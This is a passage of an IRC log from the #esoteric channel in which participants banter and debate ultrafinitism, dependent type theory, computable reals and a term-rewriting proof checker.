dictionary, or a file. < 1268089288 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, very convenient. < 1268089313 0 :madbr!~madbrain@modemcable175.136-81-70.mc.videotron.ca JOIN :#esoteric < 1268089336 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Ouch. < 1268089374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Ever considered just becoming a hermit? < 1268089377 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A hermit with internet access. < 1268089471 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well yes, if it wasn't for the whole property-tax thing. < 1268089509 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Caves. They have none. < 1268089537 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Then there's that whole evading-park-rangers thing. < 1268089599 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Beats 9-5, right? < 1268089641 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Totally. I should have gone to Hermit School when I had the chance... < 1268089695 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'm basically banking on becoming a tenured professor because of my sheer genius without trying at some point. < 1268089742 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, then practise backstabbing now, is my advice. < 1268089750 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268089752 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You'll need it in grad school. < 1268089829 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Remember when I said sheer genius? < 1268089833 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'll do it and NOT EVEN REALISE IT. < 1268089843 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set myself to auto-pilot, baby. < 1268089948 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268089952 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ho oklokok < 1268089964 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise tenured how? < 1268089992 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the badass kind that means I can do nothing and never get fired < 1268089997 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(note: I do not actually believe any of this0 < 1268090003 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*this) < 1268090009 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like Zeilberger < 1268090061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"Academic tenure is primarily intended to guarantee the right to academic freedom: it protects teachers and researchers when they dissent from prevailing opinion, openly disagree with authorities of any sort, or spend time on unfashionable topics" < 1268090073 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Zeilberger considers himself an ultrafinitist." Wow, they actually exist?? < 1268090086 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah so I do < 1268090098 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is impressed
< 1268090100 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :ultrafinitist? what does that even mean? < 1268090104 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't beleive that a^b terminates < 1268090145 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Like other strict finitists, ultrafinitists deny the existence of the infinite set N of natural numbers, on the grounds that it can never be completed. In addition, ultrafinitists are concerned with our own physical restrictions in constructing (even finite) mathematical objects. Thus some ultrafinitists will deny the existence of, for example, the floor of the first Skewes' number, which is a huge number defined using the expone < 1268090146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1268090156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's like argument by lack of imagination < 1268090172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Argument by well our current computers can't do it/well our current understanding of physics means we can't do it < 1268090175 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or by vagary in definition of "exists" < 1268090180 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: surely you don't consider yourself such. < 1268090205 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I can in fact produce an object that is of some arbitrary numerical length. By defining the units appropriately. < 1268090207 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So ultrafinitists believe there to be a largest number. I wonder what it is :) < 1268090221 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what it is _today_. < 1268090227 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1268090233 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :For instance, I have a meter stick that is roughly G 1/G-meters. < 1268090237 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's kooky < 1268090244 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not completely alien to their ideas, but I don't think I am one < 1268090247 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Who pinged me? < 1268090264 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alise_: the largest number is 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875897 < 1268090277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lament: 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875898 < 1268090279 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875898 < 1268090282 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Suck it. < 1268090283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1268090290 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that's not a number < 1268090295 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :just a meaningless string of digits < 1268090301 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh lament is a 9872364578691826349876985702349785018923478962345987697812340123408723984568347691698273649852394875897-finitist < 1268090302 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it is a number < 1268090309 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :you could argue that numbers larger than X don't have any practical use, that's kinda dumb < 1268090313 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's the successor of the largest number you proclaimed. < 1268090316 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't mean anything. Numbers can't be that large. < 1268090319 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's not a number < 1268090327 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Define number. < 1268090330 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no u < 1268090332 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm a 2^16-finitist < 1268090356 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: lament thinks such a finitism doesn't exist < 1268090357 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so there < 1268090357 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :data Number = Zero | Succ Number < 1268090388 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, fix Succ -- where is your arithmetic now? < 1268090391 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :math isn't haskell < 1268090395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Nat := Mu (Unit &) < 1268090398 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament, ask #haskell :x < 1268090409 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Succ it. < 1268090409 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :why? I'm more qualified than #haskell < 1268090412 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Congrats, you just defined infinity. < 1268090415 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why doesn't oklocorpse talk to me :( < 1268090417 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i've a math degree, most people in #haskell don't. < 1268090421 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok oklokok oklokok < 1268090424 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: ugh, no < 1268090433 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :_|_Nat is not infinity < 1268090459 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Fine, fine. He's defined _|_ :: Number. < 1268090470 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament: hey did you specialize? < 1268090475 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :at some point < 1268090476 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268090478 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : why doesn't oklocorpse talk to me :( <-- I guess he got tried of saying BRAAAINS? < 1268090547 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament :( < 1268090573 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268090625 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268090640 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :damn postmodernists < 1268090650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :postpostmodernism < 1268090739 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok? < 1268090760 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ω exists because I can describe it (I can describe Atlantis too) < 1268091008 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ω is shorthand for some definition in some system of axioms. in those, it is presumably a coherent concept < 1268091022 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the problem is that you want Atlantis to be a concept of this world. and we don't control /our/ axioms. < 1268091048 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :God no, I don't want that. They would cream us with their nuclear laser missiles! < 1268091065 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268091081 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sighs there are so many things I want to do that I am unable to do any of them
< 1268091102 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I love how the Halting Problem is equivalent to the Entscheidungsproblem. < 1268091124 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's a good one < 1268091226 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :meeee < 1268091228 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :s/things/women < 1268091267 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :decide : (∀a. Prog a → Bool) → (P : Prog (Nat → Bool)) → Bool < 1268091268 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :decide H P = ¬(H 《i := 0. Do: If ¬(P i), break. i := i + 1. Loop. 》) < 1268091275 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Or thereabouts. < 1268091355 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi oklookpaoufpadda < 1268091362 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I got something to show you < 1268091374 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :www.stanford.edu/~dgleich/publications/finite-calculus.pdf ! < 1268091384 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you said you didn't like analysis because it wasn't finite enough < 1268091489 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well i'm not sure that's exactly that i said :D < 1268091492 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :but i'll check < 1268091492 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :http://i43.tinypic.com/2v8s9w8.png < 1268091495 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :whoope < 1268091496 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I see fax doesn't like my proof :( < 1268091499 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok this stuff is so cool though! < 1268091500 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :Scientist: Yeah, the expansion of the universe is accelerating and there seems to be stuff that seems to to exert negative gravity and that stuff is dark energy < 1268091502 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :seriously I have to master it < 1268091503 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :Dude: and what is that, what is it made of? < 1268091504 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :sorry spam < 1268091506 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :Scientist: Really we have no fucking clue, we hoped you'd stop asking after hearing "dark energy" < 1268091510 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1268091515 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: I just assumed it was correct < 1268091519 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Wareya: yawn < 1268091532 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yet another lol-they-call-it-dark-it-must-just-be-made-up bullshit story < 1268091539 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :be ignorant elsewhere :| < 1268091575 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :decide on the reals is interesting btw < 1268091576 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :who said I agree? < 1268091579 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :it's just funny < 1268091579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nested halting-checking < 1268091580 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :byer < 1268091609 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I can describe black holes < 1268091647 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[Note to the editor: Insert a "your mom" joke here.] < 1268091651 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[No. -Ed] < 1268091741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, that's what she said! < 1268091745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night → < 1268091989 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Clifford_Stoll The acme klein bottle guy is also the caught Markus Hess guy and also thought interwebs would never catch on < 1268092234 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopkoupuo i think this is a precursor to Umbral Calculus < 1268092252 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not entirely sure < 1268092391 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok btw I have not done OR yet :( < 1268092408 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :actually I was going to try and code that stuff into epigram just for fun but it was too hard < 1268092423 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(I couldn't even define a tree type) < 1268092434 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_, what did you think of my proof? < 1268092438 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you can ask for hints if you want < 1268092455 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: which proof? < 1268092456 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, well if you had an intermediate problem between AND and OR that would be good :p < 1268092468 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/169655/ < 1268092488 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's wrong. The last thing on the 3rd line should be "Stack'" < 1268092505 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You've neglected to specify what you're proving, for starters. < 1268092518 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Looks more like an evaluation to me, < 1268092519 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*me. < 1268092543 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Theorem is always: first line and last line of "proof" section are equal. < 1268092546 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well the thing is < 1268092555 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That's a rubbish proof system < 1268092556 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What is a proof if not an evaluation? < 1268092556 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Gian-Carlo Rota began his career as a functional analyst, but changed directions and became a distinguished combinatorialist. -- he helped develop this umbral calculus < 1268092559 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :for most things that are in the middle, you'll need to have OR already < 1268092562 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: A proof is a value < 1268092562 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean most things i know < 1268092578 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: link to that book that had tons of proofs in i think coq < 1268092578 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, sure, everything is a value < 1268092578 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if you can live with using OR before knowing how to compile it, then yeah i have a few < 1268092581 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :supposedly from the future < 1268092587 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: No, quite literally < 1268092594 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :p : P where P : Prop = p is a proof of P < 1268092621 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok oh, I was thinking about AxB = BxA, it seems to only have solutions like A = (mnux)^n(mnu), B = ..^m... < 1268092622 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :there's a reason proof assistants are all dependent and whatnot, it's because this is the way things make sense in computing < 1268092647 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't know what you are referring to < 1268092658 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not all proof assistants work on dependent type theory < 1268092673 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but dependent type theory is really an excellent way to do it imo < 1268092693 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if |A|>|B|, then TxB = xBT, which gives you all the solutions < 1268092703 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: well yeah < 1268092711 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok huh?? < 1268092713 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :there are a few basic techniques that get you through most things < 1268092717 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not all-are dependent < 1268092721 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but are all-dependent-and-whatnot < 1268092730 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :fax: i just substituted A = BT because |A| > |B| < 1268092739 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :there's a symmetric case for B > A < 1268092745 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268092752 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah! < 1268092757 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh and after that you already have all the solutions < 1268092765 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if you don't see it... see fundamental theorem < 1268092769 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268092775 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: To be clear, it's not a proof finder, it's only a way to write out proofs so that they can be checked. < 1268092783 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Of course. < 1268092786 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :we should probably be doing this in pm, i'm not sure it's as entertaining to others < 1268092789 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And since a proof is a series of derivations, I don't see anything wrong with this. < 1268092794 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well actually < 1268092799 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :we should be doing this tomorrow < 1268092802 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But your proofs aren't proofs and if they were they'd be nothing in particular. If I'm reading your snippet right. < 1268092807 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fundamental theorem was solutions of XY = YX? < 1268092815 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, okay but can you give me one hint on OR? < 1268092825 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because right now I am just sort of lost < 1268092843 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok but this finite calculus is so cool! < 1268092844 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: How would you prove that pop(push(X,Stack)) == Stack ? < 1268092853 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Also, I assume that your proofs are first-class values. So how do you create a function taking a function from a positive rational to a rational, and also a proof that for all positive rationals e1 and e2, |f e1 - f e2| < e1 + e2? < 1268092874 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or could you give me an example of something more interesting that could be proved (but still under a page of derivation)? < 1268092877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e., a function taking (f, |f e1 - f e2| < e1 + e2), also known as a computable real < 1268092880 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah fundamental theorem was your pet name for the commutation thing < 1268092881 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, in dependent type theory this would be a trivial proof, because pop(push(X,Stack)) would compute down to Stack, so all you really need to prove is Stack == Stack < 1268092883 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: depends < 1268092883 0 :bsmntbombdood_!~gavin@174-16-89-136.hlrn.qwest.net JOIN :#esoteric < 1268092908 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: A better example to prove would be most welcome, then < 1268092912 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey (if P reduces to P' then a proof of P is a proof of P') < 1268092920 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I gave you one. < 1268092930 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I don't have functions in my language < 1268092936 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :okay for OR, the first thing is to reduce it to a=b OR a=c. < 1268092937 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :or reals, for that matter < 1268092944 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You don't need reals. < 1268092945 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I think it has something to do with sequence of lydon words.. (because you told me that) < 1268092945 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I just defined the reals. < 1268092953 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268092959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, okay byebye! < 1268092961 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :at least i think that's the easiest way < 1268092962 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: You're too quick for me. < 1268092974 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: The tuple (f : Q+ -> Q, forall e1, e2 : Q+, |f e1 - f e2| < e1 + e2) is a computable real. < 1268092983 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Which is just like the reals, except without things like chaitin's constant) < 1268092987 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :fax: nope, lyndon's aren't useful at all, i just like them. < 1268092995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, oh :p < 1268092999 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: The second element is a property of the first, a function. < 1268093002 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I thought they were integral to this < 1268093014 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah, sorry if i gave you that impression < 1268093024 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: (Basically pi 0.1 = 3.1, pi 0.01 = 3.14, etc) < 1268093025 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268093040 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: So, substitute whatever is the best analogue for a function. < 1268093047 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :How do you construct the proof? < 1268093055 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I'm not going to be able to prove that without defining some axioms for ordering and stuff. < 1268093070 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You don't need any axioms above the standard for this < 1268093085 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i've basically lectured you parts of the "introduction" chapter of our combinatorics on words course, so things don't necessarily progress that linearly yet! < 1268093109 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Basically, we have term rewriting. We say, "X rewrites into Y"! The proof is simply to list the derivation. Maybe this isn't very impressive to *you*, but remember what world *I'm* living in. < 1268093116 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well actually chapters 1 and 2 < 1268093125 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: So construct the computable reals. < 1268093141 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :where "lectured" == "listed theorems as exercises" ;) < 1268093143 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: No. What am I proving about them? Their existence? < 1268093143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :anyway I better go to bed < 1268093149 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :me too < 1268093159 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: No. < 1268093169 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Okay, let me express this in Haskell-ish things for you. < 1268093175 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"for all positive rationals e1 and e2, |f e1 - f e2| < e1 + e2" is closer, but requires, like, numbers and shit. < 1268093181 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Symbolic. < 1268093196 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Real = Real (Q+ -> Q) (forall (e1:Q+), (e2:Q+). abs (f e1 - f e2) < e1 + e2) < 1268093200 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The latter bit is the dependent part. < 1268093205 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, to construct a computable real, we do < 1268093210 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Real f (proof of that property of f) < 1268093222 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So a Real is a function that satisfies a certain property; you must prove it does. < 1268093235 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268093238 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So if we have p : (forall (e1:Q+), (e2:Q+). abs (f e1 - f e2) < e1 + e2), p is a proof of that. < 1268093253 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If A is a rational, and B is a rational, and f is a function(?), the absolute value of the difference between f(A) and f(B) is less than the sum of A and B. ? < 1268093256 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Since all your proofs are just simply proving that x evaluates to x', it's pointless. < 1268093264 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The proof is nonexistent; x equiv-to x' by virtue of evaluating to it. < 1268093267 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So the proof is that x = x. < 1268093277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: *positive rational, not rational. < 1268093278 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268093279 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also, no. < 1268093285 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sigh. < 1268093300 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It is only true for some functions. Obviously. < 1268093312 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Our constructor takes a function f, and a proof that that holds /for only the single function f that we give/. < 1268093332 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's a proof *schema* in my book. < 1268093332 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Any function that satisfies that property is a /computable real/, so to create a computable real we must /supply a proof that the function we give obeys the property/. < 1268093344 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, how would you structure such a thing? < 1268093353 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I bet you can't, because your proof construct is uber-limited. < 1268093365 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268093398 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Nowhere did I say I was writing a *prover*, only a *proof checker* < 1268093412 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What is the problem with specifying f in my proof? < 1268093413 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Irrelevant. < 1268093425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You cannot even /express the proof/ in your language, because you can only prove things of the form x = eval x < 1268093437 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And you cannot check a proof you can't express. < 1268093451 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If there are some values for f where it holds, and others where it doesn't, then it's not a proof! < 1268093497 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You prove it for some given function f. < 1268093506 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Right, so give me some function f. < 1268093512 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And I'll write the proof. < 1268093517 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you don't, I can't. < 1268093538 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i : Q -> R; i q = (\_. q, ...proof...) < 1268093541 0 :cpressey!unknown@unknown.invalid 